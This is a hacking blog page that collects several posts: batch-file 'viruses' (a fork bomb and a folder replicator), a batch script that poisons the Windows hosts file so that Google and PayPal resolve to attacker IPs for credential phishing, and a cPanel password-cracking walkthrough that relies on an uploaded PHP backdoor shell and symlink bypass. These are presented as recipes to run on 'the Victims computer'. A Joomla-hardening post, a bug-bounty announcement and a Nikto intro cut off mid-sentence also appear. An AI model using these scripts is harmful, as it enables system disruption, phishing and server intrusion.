<div dir="ltr" style="text-align: left;" trbidi="on">Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen.<br /><br />@echo off<br /><br />:loop<br /><br />Explorer<br /><br />Call fork.bat<br /><br />Goto loop<br /><br />Copy the above program and paste it in a notepad file and save it as ‘fork.bat’. The explorer command will open up the ‘documents’ directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling the program itself again and again until the system crashes or hangs up. <br /></div>

Batch File Virus -3

Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork bombing is nothing but calling a prog...

+ Read more »

WOW! Paypal Sends Me 5000$ For A Command Execution Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" /></a></div><br /><b><i><u>Update: 5000$ was the initial payment, Paypal payed another 5000$ which makes the total bug bounty of 10,000$ for the command execution vulnerability - </u></i></b><br /><h3 class="post-title entry-title" style="border-bottom-color: rgb(164, 111, 56); border-bottom-style: solid; border-bottom-width: 2px; color: #a46f38; font-family: 'Black Ops One', Arial, sans-serif; font-size: 25px; line-height: 1.1em; margin-bottom: 7px; padding: 0px 0px 5px 5px;"><a href="http://www.rafayhackingarticles.net/2012/12/paypal-pays-me-total-bounty-of-10000.html" style="border: none; color: #666666;"><i>PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug</i></a></h3><br />Today when i logged into my Gmail account, I saw Paypal sent me 5000$  for my command execution bug i reported on one of it's subdomains, That's constituted a huge risk to the organization, since an attacker could have easily managed to execute any command on the server. Therefore the bug was extremely critical, however Paypal took more than 2 months to sort it out.<br />I cannot write more about the vulnerability per the terms of the bug bounty program.<br /><a name='more'></a>Along with the command execution vulnerability, i was paid 500$ for an XSS vulnerability that i found on Paypal main domain, further more i was also paid for an information disclosure. So in total they sent me an amount of 6000$.<br /><br />More than 20 of my bugs are still being validated by paypal.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhssafP1JjllaBV30HA-4LLcrb8N-6BqxaOnGlTmJlTFPWEcKEVpNjfsQITYum66WbbRiFFYURx-F1TBFEvDiYZDzdkSA3pyfycysL0_5C79mS4I56NnYwlwY-TkQ4blfuTIXWM-cTjE/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQhssafP1JjllaBV30HA-4LLcrb8N-6BqxaOnGlTmJlTFPWEcKEVpNjfsQITYum66WbbRiFFYURx-F1TBFEvDiYZDzdkSA3pyfycysL0_5C79mS4I56NnYwlwY-TkQ4blfuTIXWM-cTjE/s640/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><span id="goog_1108134174"></span><span id="goog_1108134175"></span><br /></div>Last week, i was offered by Paypal for a job as a Senior Pentester A.K.A SecurityNinja. kindly look at the screen shot below:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnRw6u-tV_xgCiy-vqb1Pue7O2aMSbtIgNVmrvA4ymHKQFGrmgSQP9WxMSpVkBLbXLD8d9RVgbuSaK_QgU4qhJ1N5VPqz2yr2BOs3YPxa3_z_Zo64QYNlC8RXDI5Jo4G8PLwOBnLjNh1k/s1600/156938_10151229657168001_2030806512_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnRw6u-tV_xgCiy-vqb1Pue7O2aMSbtIgNVmrvA4ymHKQFGrmgSQP9WxMSpVkBLbXLD8d9RVgbuSaK_QgU4qhJ1N5VPqz2yr2BOs3YPxa3_z_Zo64QYNlC8RXDI5Jo4G8PLwOBnLjNh1k/s640/156938_10151229657168001_2030806512_n.jpg" width="577" /></a></div></div>

WOW! Paypal Sends Me 5000$ For A Command Execution Vulnerability

Update: 5000$ was the initial payment, Paypal payed another 5000$ which makes the total bug bounty of 10,000$ for the command execution vuln...

+ Read more »

Cracking Cpanel Passwords [Tutorial 2]

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRkxGWlJBhsHSIqPnJc17vNOpv4KWomtjDT4mT-m1TEFTHMmt_lC6j4uH_eo5LKWv6LYXnB5Kz27UAlV82gemzI7zgDnwgewBXCfuTQW4AbqK7Y05A-R6qAuNif90_OTPHkinfFOI8y4/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwRkxGWlJBhsHSIqPnJc17vNOpv4KWomtjDT4mT-m1TEFTHMmt_lC6j4uH_eo5LKWv6LYXnB5Kz27UAlV82gemzI7zgDnwgewBXCfuTQW4AbqK7Y05A-R6qAuNif90_OTPHkinfFOI8y4/s1600/images.jpg" /></a></div><br />One of our guest authors already wrote a post on "<b><a href="http://www.rafayhackingarticles.net/2012/08/cpanel-crackinghacking.html">Cracking Cpanel passwords</a></b>", however that method worked for some sites and did not work on others, However, recently avinash mailed me a guest post, which contained two working methods that can be used to crack a Cpanel passwords, I have tested both methods myself and they are working. However, for this method to work, The website on which your shell is uploaded should be already vulnerable to Symlink Bypass <b>(Server Bypass)</b>.<br /><br /><a name='more'></a><br /><div><div><h4>Method 1 [Cracking CPanel Passwords]</h4></div><div><div><b>Requirements:<br /><br />1. </b>PHP Backdoor (Shell) installed on a server.<br /><b>2. </b><a href="https://www.dropbox.com/s/wceu4qk0sh8uosh/scripts.rar" rel="nofollow" target="_blank"><span id="goog_1656957360"></span>Required Files<span id="goog_1656957361"></span></a><br /><br /></div>First create two folder's, Im creating abc & xyz Now i will upload the files to do symlink and do the symlink, Next give 0755 permission to <b>jaguar.pl</b> and run it and put <b>etc/passwd</b> in it, After this will get all the config's now you are done with symlinking the server <br /><br /> Now go the second folder we created and upload <b>B_F.php </b>and place tour symlink folder link in that And then click on start And you have you cpanels's.<br /><br /><b>ScreenShots For Furthur Explanations</b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_HrPkQKuFlXUt45VCJbq3hKSJeM5mnluHLH_6NIMg-qdF239xqLOhZJklXJupkvppGMghx77IAujATmcd-MuFvSGw27PU-K2kQlxkvw98gjeIDXTDWfNPdcoUa2ZQbD9u23MH8AHHVwk/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_HrPkQKuFlXUt45VCJbq3hKSJeM5mnluHLH_6NIMg-qdF239xqLOhZJklXJupkvppGMghx77IAujATmcd-MuFvSGw27PU-K2kQlxkvw98gjeIDXTDWfNPdcoUa2ZQbD9u23MH8AHHVwk/s640/1.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkCiG1D8ZJkTZbNPmIporUSC8cDTE2RWNlJtPe6n97URP6BzyG0vGXfZln8yFnlhuRFnVyd6i6mRC36qouXj9aPSAFZIuciV2ZQrUdt8-z2LI8jJqhy_yhWxy8NdtksWpmmKUJ29jd4eY/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkCiG1D8ZJkTZbNPmIporUSC8cDTE2RWNlJtPe6n97URP6BzyG0vGXfZln8yFnlhuRFnVyd6i6mRC36qouXj9aPSAFZIuciV2ZQrUdt8-z2LI8jJqhy_yhWxy8NdtksWpmmKUJ29jd4eY/s640/2.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsmlO0zlaqSQ7pLDo_Xw_SHDG2ae3sm3l-KTlfY33Hs91FHOQrmADgJosjbkvdfkI9GeEZEKF9Gc4m0Df-bDdx-tlM2YDZJumJUjaGAI82yGTF7TzH0yX6wPKVAev8zyOlZuYHxft_IsY/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsmlO0zlaqSQ7pLDo_Xw_SHDG2ae3sm3l-KTlfY33Hs91FHOQrmADgJosjbkvdfkI9GeEZEKF9Gc4m0Df-bDdx-tlM2YDZJumJUjaGAI82yGTF7TzH0yX6wPKVAev8zyOlZuYHxft_IsY/s640/3.JPG" width="580" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj62PhXZhEr13p5RxD0Ui9b7kHhhn21Bv6douASoFC0bpKkybPfyAiG_wsTdl2McxKyXhjtSNieSUa4Ei50l2QlS6gilypCFCnCdNiGRSUpmQbbcTtlMBUoV7WGxkS3ohwnpRC8sQpn_o/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj62PhXZhEr13p5RxD0Ui9b7kHhhn21Bv6douASoFC0bpKkybPfyAiG_wsTdl2McxKyXhjtSNieSUa4Ei50l2QlS6gilypCFCnCdNiGRSUpmQbbcTtlMBUoV7WGxkS3ohwnpRC8sQpn_o/s640/4.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6zonyGN8vkQ26Zl9EqJaIqZqGObCmSkXDY8RG1VHVCgQMvGNalcvLKPlWYGG5A2wAiMlYWRnXfjKPpnc0PnnR6rbZjQp6Jq9PmF1AdFc3jA7WmhksBE20do8xlGUPMfT4-qszoib_xS0/s1600/5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6zonyGN8vkQ26Zl9EqJaIqZqGObCmSkXDY8RG1VHVCgQMvGNalcvLKPlWYGG5A2wAiMlYWRnXfjKPpnc0PnnR6rbZjQp6Jq9PmF1AdFc3jA7WmhksBE20do8xlGUPMfT4-qszoib_xS0/s640/5.JPG" width="640" /></a></div><h4>Method 2 [Cracking CPanel Passwords]</h4><b>Requirements:</b><br /><b>1. </b>Shell On The Server<br /><b>2. <a href="https://www.dropbox.com/s/u3yb35v6r2ltpge/cracker.py" rel="nofollow">Cpanel.py</a></b><br /><b>3. </b>Python already installed on your server.<br /><br /><br />We have to run the script from command prompt, So therefore we need to create a directory with any name let's say "a" in this case.<br /><br /><b>How to run the script?</b><br /><br />Open command prompt and navigate to the directory where you have placed the script.<br /><br />Then type <b>cracker.py</b> <b>ww.site.com/abc </b>(this will be our symlinked folder link) <b>c:\a </b>( this is where it will be saved and then press enter. It will start it's work.<br /><br />Next It will give you a passwords copy them all and upload a <b>cpanel bruter</b> and paste all the passwords in pass area, For user's go to shell and give command<br /><br /><b>ls /var/mail</b><br /><b><br /></b>And you will get all usernames paste it in user's area, And click on start.<br /><br /><span style="font-weight: bold;">ScreenShots For Furthur Explanations</span><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifumk2NCL_FqSWM80TtxrQF9SybOmSW9YyBpLw_Ikl-uubbhVTOCB76offWix50Jw9Lzjq8F3WyjPIsp5saNZylaZxdq-vp3ldsGlzv3y69lfspUy_rrAKlsimm4cxJSrzZA_hkkX0nM4/s1600/6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifumk2NCL_FqSWM80TtxrQF9SybOmSW9YyBpLw_Ikl-uubbhVTOCB76offWix50Jw9Lzjq8F3WyjPIsp5saNZylaZxdq-vp3ldsGlzv3y69lfspUy_rrAKlsimm4cxJSrzZA_hkkX0nM4/s640/6.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDt9ezAHcESvp1nSZy9WU4Q_T49wi6X-Swigvg8O2Q9kbt3zZy3gyV9HrMgm3qIgdNrHj7uYnJ3t4O49pH-O_brkx9TVPMrYj6AE_pPBjvkQflT2g3ZQE3JSFuXmIrI3KZkqGJBJrz50/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDt9ezAHcESvp1nSZy9WU4Q_T49wi6X-Swigvg8O2Q9kbt3zZy3gyV9HrMgm3qIgdNrHj7uYnJ3t4O49pH-O_brkx9TVPMrYj6AE_pPBjvkQflT2g3ZQE3JSFuXmIrI3KZkqGJBJrz50/s640/7.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIyHadl7BeO_Xwvjp-pWwHGOIbN-o1BfXLvl5tX0OLEuUDU8sOMdLckG4mKYp78dxPTh3IQtKI2G1jBkfL4gq8evHVYGTFKiNLbGLxaPcKHZ23Ekt5XxeJ4F9vVpotqkKxR__TL9e8EGI/s1600/8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIyHadl7BeO_Xwvjp-pWwHGOIbN-o1BfXLvl5tX0OLEuUDU8sOMdLckG4mKYp78dxPTh3IQtKI2G1jBkfL4gq8evHVYGTFKiNLbGLxaPcKHZ23Ekt5XxeJ4F9vVpotqkKxR__TL9e8EGI/s640/8.JPG" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCGp1TpRXVdQfw26wu8qYGYsOg_lRlX7f9BTrgKseXJ2vmwHFU9o-_LguQipb-Jkb6WMFJ0m5m36XmPpWS1CmDYlVhhUnI-MdBos3AJqln22dqyLX9fI3a14is6ueD2XcmANEQ7BSY16E/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCGp1TpRXVdQfw26wu8qYGYsOg_lRlX7f9BTrgKseXJ2vmwHFU9o-_LguQipb-Jkb6WMFJ0m5m36XmPpWS1CmDYlVhhUnI-MdBos3AJqln22dqyLX9fI3a14is6ueD2XcmANEQ7BSY16E/s640/9.JPG" width="608" /></a></div></div></div><br /><b>About the Author:</b><br /> Avinash is a security researcher and a blogger. He runs a blog <a href="http://www.hackerzadda.com/">http://www.hackerzadda.com</a>/, where he writes about hacking. </div>

Cracking Cpanel Passwords [Tutorial 2]

One of our guest authors already wrote a post on " Cracking Cpanel passwords ", however that method worked for some sites and did ...

+ Read more »

Batch file virus -2

<div dir="ltr" style="text-align: left;" trbidi="on">Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch by learning how to misuse commands to create batch viruses.<br /><br />Folder Replicator Virus:<br /><br />Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.<br /><br />1. Just open up a notepad, copy and paste the below code<br /><br />cd\<br /><br />cd C:\Documents and Settings\username\Desktop<br /><br />:loop<br /><br />md Virus<br /><br />cd Virus<br /><br />goto loop<br /><br />2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.<br /><br />3. Then run it on the Victims computer to infect it.<br /><br />4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on.<br /><br />Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code. </div>

Batch file virus -2

Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation ...

+ Read more »

Secure Joomla From Hackers

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3WvO8WpbYmbdWKNCT1-HV0fV5bW5ONmw6TCVI85eXDN1hvYWwsLVpAXyRuDQHuX4d6RYI8nTZTIEJolievYG75qBf7zlUUlUNUvuwbwWcnDXPCWcaIjhpzrQ7b39PdqBKZhXfuwOO1k/s1600/joomla_hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3WvO8WpbYmbdWKNCT1-HV0fV5bW5ONmw6TCVI85eXDN1hvYWwsLVpAXyRuDQHuX4d6RYI8nTZTIEJolievYG75qBf7zlUUlUNUvuwbwWcnDXPCWcaIjhpzrQ7b39PdqBKZhXfuwOO1k/s320/joomla_hacked.jpg" width="320" /></a></div><br />Recently we wrote an article on <b>"<a href="http://www.rafayhackingarticles.net/2012/12/wordpress-mass-defacement-tool.html" target="_blank">Wordpress Mass Defacement Tool </a>"</b>and On "<b><a href="http://www.rafayhackingarticles.net/2011/02/how-to-secure-your-wordpress-blogs.html" target="_blank">Securing Your Wordpress from being Hacked</a>'</b>, However I was requested by one of our readers to write an article on securing joomla blog from hackers and preventing it from being hacked, Joomla just like wordpress is a very widely used CMS platform, Joomla itself is quite secure by default, However the extensions are developed by common developers and most of them have no proper knowledge about security.<br /><br />Now a days, it has been observed by me that most the hackers do not target vulnerable joomla extensions or joomla itself, however they target websites on the same server and use them to extract the configuration file of joomla that contains the database information. This vulnerability is commonly known as Symlink bypass in the black hat community and Server bypass in our white hat community. So in this article i will talk about the common methods to secure a joomla from hackers and preventing it from being hacked.<br /><a name='more'></a><h4>Secure Joomla From Hackers [Common Methods]</h4><b>Choose A Secure Password</b><br /><b><br /></b>Joomla uses MD5 for generating password hashes, Though MD5 hashes are prone to some weaknesses, However Joomla makes them secure by adding a salt to it. Here is how a joomla hash looks:<br /><br /><span style="background-color: #eeeeee; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px;">4e9e4bcc5752d6f939aedb42408fd3aa:0vURRbyY8Ea0tlvnTFn7xcKpjTFyn0YT</span><br /><span style="background-color: #eeeeee; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px;"><br /></span>The first part represents the MD5 hash and the part after the colon represents the Salt, This adds up an extra layer of security to joomla passwords, However these hashes can still be cracked with some softwares like PasswordsPro and OCIhashcat plus, Moreover now a days Graphic cards are being used for password cracking that makes the job much easier and take very little amount of time. For a good guide on choosing strong passwords, Kindly refer to my article "<b><a href="http://www.rafayhackingarticles.net/2010/10/how-to-create-strong-passwords.html" target="_blank">How To Create A Strong Password</a></b>".<br /><br /><b>Securing Admin Panel</b><br /><br />It's not a good idea to leave your admin panel open for the normal users, it should be only accessible by administrators. Imagine if an attacker has managed to extract your database information using SQL Injection, he would surely need the admin panel to log in, If you hide the admin panel, he won't be able to access it.<br /><br />You can do it either by using changing blocking access to the <b>Public_html/Joomla/Administrator </b>directory and making it accesible by only your IP by modifying the .htaccess with the following commands:<br /><br /><pre class="code" style="background-color: #eeeeee; color: #444444; font-family: Fixed, monospace; font-size: 12px; font-weight: bold; padding: 3px 5px;">Order Deny,Allow <br />Deny from all<br />Allow from Your IP Address </pre><br />Alternatively you can use a extension called <a href="http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12254" rel="nofollow" target="_blank">Jsecure</a>, It protects your admin panel by generating a Key, which is only known to you, So the administrator panel can only be accessible if you would have the proper key.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwek8KuaI8iW8M3YHJ8hL-rxb65Gl5LOExCpxdmR88kphOJ5Qkg5UM385wDnePe3ivb2APz0pkZW-i1HtconR2-Cm37ShrjxZFGTpoTQ50v9Rjl6aENYOR9RjGAUQxLLo2Oh0rqUyKsgA/s1600/jSecure-Authentication-Plugin.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwek8KuaI8iW8M3YHJ8hL-rxb65Gl5LOExCpxdmR88kphOJ5Qkg5UM385wDnePe3ivb2APz0pkZW-i1HtconR2-Cm37ShrjxZFGTpoTQ50v9Rjl6aENYOR9RjGAUQxLLo2Oh0rqUyKsgA/s640/jSecure-Authentication-Plugin.jpg" width="577" /></a></div><b><br /></b><b>Update Update And Update</b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>Most of the time the vulnerabilities are found within Joomla itself and you have very little time to update your blog, or else you end up getting your blog hacked. I recommend you to subscribe to a exploit database 1337day.com and exploit-db.com, Most of the exploits go public there, So when ever you would see a vulnerability inside joomla, You would have plenty of time to update. I keep an eye on Bugtrack and seclist.org so whenever a vulnerability goes public, I am able to get information regarding it.<br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmNhP0BoO96z-U-zyAAT19aYbhg44Pt7qLHBvUwuQVnn_7u2yZdIoBj6ATbQO_KZiCBYVJmv5-ftm3Ons8mtIy4tJ4qW5LlrHwtqE_HogRCzbmnHX872Aqx0olIejnSFF6_oUv9fOpKxY/s1600/joomla.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmNhP0BoO96z-U-zyAAT19aYbhg44Pt7qLHBvUwuQVnn_7u2yZdIoBj6ATbQO_KZiCBYVJmv5-ftm3Ons8mtIy4tJ4qW5LlrHwtqE_HogRCzbmnHX872Aqx0olIejnSFF6_oUv9fOpKxY/s640/joomla.png" width="577" /></a><br /><b><br /></b><b>Scanning For Vulnerable Plugins Extension</b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>As i mentioned at the beginning of the article that webmasters install joomla plugins/extensions without checking it, if they are vulnerable. You should periodically check exploit databases, if the extensions you are using are vulnerable to any of the attacks. It would be a hassle, to check for every extension if they are to any of the attacks. Alternatively, a tool named "joomscan" has made the life easier, It is periodically updated with lots of new vulnerabilities, it checks your website for common vulnerable extensions and report them to you. <br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMB8wqJFMVyfxvTKLRM0-AOGq1SXc_y5om37EcyiANpK33GJKb5SKwqzwa5Xn7KZWTlDPNp-5B2RRmLaQUCuSdHxNSG3s-_2LleonBEGt83qPwK479PZAqTdtZDOltajhM6-EnMFA76Ao/s1600/joomscan2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMB8wqJFMVyfxvTKLRM0-AOGq1SXc_y5om37EcyiANpK33GJKb5SKwqzwa5Xn7KZWTlDPNp-5B2RRmLaQUCuSdHxNSG3s-_2LleonBEGt83qPwK479PZAqTdtZDOltajhM6-EnMFA76Ao/s640/joomscan2.png" width="577" /></a><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXGiuPgXa9CYRmORV4tepe61qLnHGQv0SLCf0pYJnQ8LOnkYTSySMUTJk1FX2pD5b8vdfm7uQueaIJbU1Ma1Cte8pOwJpZxwV_XyQ1aPnTXNHrNv25TUyoJ0vFZrnEPr_OEz_kVNUY4Ys/s1600/joomscan3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXGiuPgXa9CYRmORV4tepe61qLnHGQv0SLCf0pYJnQ8LOnkYTSySMUTJk1FX2pD5b8vdfm7uQueaIJbU1Ma1Cte8pOwJpZxwV_XyQ1aPnTXNHrNv25TUyoJ0vFZrnEPr_OEz_kVNUY4Ys/s640/joomscan3.png" width="577" /></a><br /><br /><b>Protecting From Shell Uploads</b><br /><b><br /></b>Once an attacker gains access to your administrator panel, He will usually upload a PHP backdoor to maintain access to your website commonly known as <b>"Shells"</b> in the black hat community, All you need to do in order to protect the Shell upload is to protect the change the permissions of the images directory to 400. Which will make the whole directory non writable. This will prevent hackers from uploading the shell and also from penetrating further.<br /><br />An attacker can alternatively try to upload the shell via your FTP, so you should also make sure that you disable port 21/ Disable FTP access.<br /><br /><b>Securing From Symlink</b><br /><b><br /></b>Symlink bypass is one of the most commonly used attacks, Even if your joomla website is completely secure, it's still possible for an attacker to extract your configuration files "Configuration.php" which contains database username and password via an attack called Symlink bypass. In order to protect your configuration.php, you need to change the permissions to 400.<br /><br />You can do it by applying the following command:<br /><br /><b>CHMOD 400 Configuration.php</b><br /><b>Protect From Mass Defacement</b><br /><br />Lots of time it happens that hackers manage to gain root access to the server on which your joomla blog is hosted, In these cases the attacker runs a <a href="http://www.rafayhackingarticles.net/2012/12/wordpress-mass-defacement-tool.html" target="_blank">Mass Defacement tool</a>/script, which changes the index files of all the websites running on the server, In order to protect your blog from mass defacement attack, All you need to do is change the permissions of index.php to 400. However, this does not provide complete protection, because the once the hacker has root on the server, he can manually change permissions of your blog, hence defacing your website.<br /><br />I hope you have liked my post on "<b>Secure Joomla From Hackers</b>". Though there is lot left, but i have highlighted important steps in order to protect your website from being hacked.<br /><b><br /></b></div>

Secure Joomla From Hackers

Recently we wrote an article on " Wordpress Mass Defacement Tool " and On " Securing Your Wordpress from being Hacked ' ,...

+ Read more »

DNS poisoning using BATCH File

<div dir="ltr" style="text-align: left;" trbidi="on">Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS.<br /><br /><h3>DNS poisoning:</h3><br />Batch file can has the tendency to modify the transfer zones by editing the hosts.txt file that resides inside ‘C:\windows\system32\drivers\etc\hosts.txt’, so that it will take you to some malicious websites instead of landing you to the legitimate website. This may also be used for phishing, i.e. redirecting you to a bogus website which looks exactly like the legitimate one, and then steal credentials.<br /><br />1. Just open up a notepad, copy and paste the below code<br /><br />@echo off<br /><br />echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt<br /><br />echo 10.199.64.67 www.paypal.com >> C:\windows\system32\drivers\etc\hosts.txt<br /><br />exit<br /><br />2. Save it as a batch file with the extension .bat<br /><br />3. Then run it on the Victims computer to infect it.<br /><br />4.This program creates a new entry in the hosts file, so that whenever an user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the paypal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user enters the credentials unknowingly, they were into the hackers database and he can use it for several other purposes. </div>

DNS poisoning using BATCH File

Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text edi...

+ Read more »

How to scan web-server with Nikto?

<div dir="ltr" style="text-align: left;" trbidi="on">Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6500 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.<br /><br />Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).<br /><br />Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.<br /><br />Nikto is a tool that it has been written in Perl and it can perform tests against web servers in order to identify potential vulnerabilities<br /><br /> Download Nikto from <a href="http://www.cirt.net/nikto/nikto-2.1.5.tar.gz" target="_blank">here</a>.<br /><br /> Open terminal & extract it in folder<br /><br /> Then change directory, type following code in terminal<br /><br />    cd Downloads/nikto-2.1.5<br /><br /> Make nikto.pl file exectuable(right click on file, & make it 